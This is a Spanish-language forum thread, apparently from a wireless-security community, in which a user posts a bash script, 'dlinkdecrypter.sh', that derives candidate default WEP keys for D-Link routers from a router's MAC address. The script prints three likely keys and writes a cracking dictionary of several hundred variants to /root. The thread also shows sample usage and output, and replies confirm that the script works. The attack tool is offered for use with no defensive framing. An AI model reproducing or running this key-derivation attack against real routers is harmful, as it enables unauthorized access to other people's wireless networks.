Sistemas operativos > Aplicaciones y diccionarios linux
dlinkdecrypter.sh
*dudux:
Autor: Pianista y hodgar
--- Código: ---#!/bin/bash
P1=`echo $1|cut -d : -f 1`
P2=`echo $1|cut -d : -f 2`
P3=`echo $1|cut -d : -f 3`
P4=`echo $1|cut -d : -f 4`
P5=`echo $1|cut -d : -f 5`
P6=`echo $1|cut -d : -f 6`
P61=`echo $P6 | cut -c1-1`
P62=`echo $P6 | cut -c2-2`
S1=$P61
if [ $P62 = "F" ]; then
S2="E"
fi
if [ $P62 = "E" ]; then
S2="D"
fi
if [ $P62 = "D" ]; then
S2="C"
fi
if [ $P62 = "C" ] ; then
S2="B"
fi
if [ $P62 = "B" ]; then
S2="A"
fi
if [ $P62 = "A" ]; then
S2="9"
fi
if [ $P62 = "9" ]; then
S2="8"
fi
if [ $P62 = "8" ]; then
S2="7"
fi
if [ $P62 = "7" ]; then
S2="6"
fi
if [ $P62 = "6" ]; then
S2="5"
fi
if [ $P62 = "5" ]; then
S2="4"
fi
if [ $P62 = "4" ]; then
S2="3"
fi
if [ $P62 = "3" ]; then
S2="2"
fi
if [ $P62 = "2" ]; then
S2="1"
fi
if [ $P62 = "1" ]; then
S2="0"
fi
if [ $P62 = "0" ]; then
S2="F"
if [ $P61 = "F" ]; then
S1="E"
fi
if [ $P61 = "E" ]; then
S1="D"
fi
if [ $P61 = "D" ]; then
S1="C"
fi
if [ $P61 = "C" ]; then
S1="B"
fi
if [ $P61 = "B" ]; then
S1="A"
fi
if [ $P61 = "A" ]; then
S1="9"
fi
if [ $P61 = "9" ]; then
S1="8"
fi
if [ $P61 = "8" ]; then
S1="7"
fi
if [ $P61 = "7" ]; then
S1="6"
fi
if [ $P61 = "6" ]; then
S1="5"
fi
if [ $P61 = "5" ]; then
S1="4"
fi
if [ $P61 = "4" ]; then
S1="3"
fi
if [ $P61 = "3" ]; then
S1="2"
fi
if [ $P61 = "2" ]; then
S1="1"
fi
if [ $P61 = "1" ]; then
S1="0"
fi
if [ $P61 = "0" ]; then
S1="0"
S2="0"
fi
fi
echo "Wep key default DLink"
echo " Opción 1: "$P6$P1$P5$P2$P3$P4$P6$P5$P2$P3$P4$P1$P3
echo " Opción 2: "$S1$S2$P1$P5$P2$P3$P4$P6$P5$P2$P3$P4$P1$P3
echo " Opción 3: "$S1$S2$P1$P5$P2$P3$P4$S1$S2$P5$P2$P3$P4$P1$P3
for f in 0 1 2 3 4 5 6 7 8 9 A B C D E F
do
for t in 0 1 2 3 4 5 6 7 8 9 A B C D E F
do
echo $P6$P1$P5$P2$P3$P4$P6$P5$P2$P3$P4$P1$f$t >> /root/diccionariodlink
echo $S1$S2$P1$P5$P2$P3$P4$P6$P5$P2$P3$P4$P1$f$t >> /root/diccionariodlink
echo $S1$S2$P1$P5$P2$P3$P4$S1$S2$P5$P2$P3$P4$P1$f$t >> /root/diccionariodlink
done
done
--- Fin del código ---
Uso
--- Código: ---dlinkdecrypter.sh 00:19:5B:44:37:87
--- Fin del código ---
--- Código: ---
root@debian trastero # ./dlink.sh 00:19:5a:33:55:66
Wep key default DLink
Opción 1: 660055195a336655195a33005a
Opción 2: 650055195a336655195a33005a
Opción 3: 650055195a336555195a33005a
root@debian trastero #
--- Fin del código ---
*dudux:
--- Cita de: z1rr0s1s en 11-12-2008, 23:51 (Jueves) ---Lo pasaré a perl o a C en cuanto pueda.
Un saludo! ;)
--- Fin de la cita ---
creo que no hace fallta.......
z1rr0s1s:
funciona bien? alguien lo ha probado?
Un saludo!
*dudux:
Funciona bien
ironjon:
una chincheta no le vendria mal
Navegación
[#] Página Siguiente
Ir a la versión completa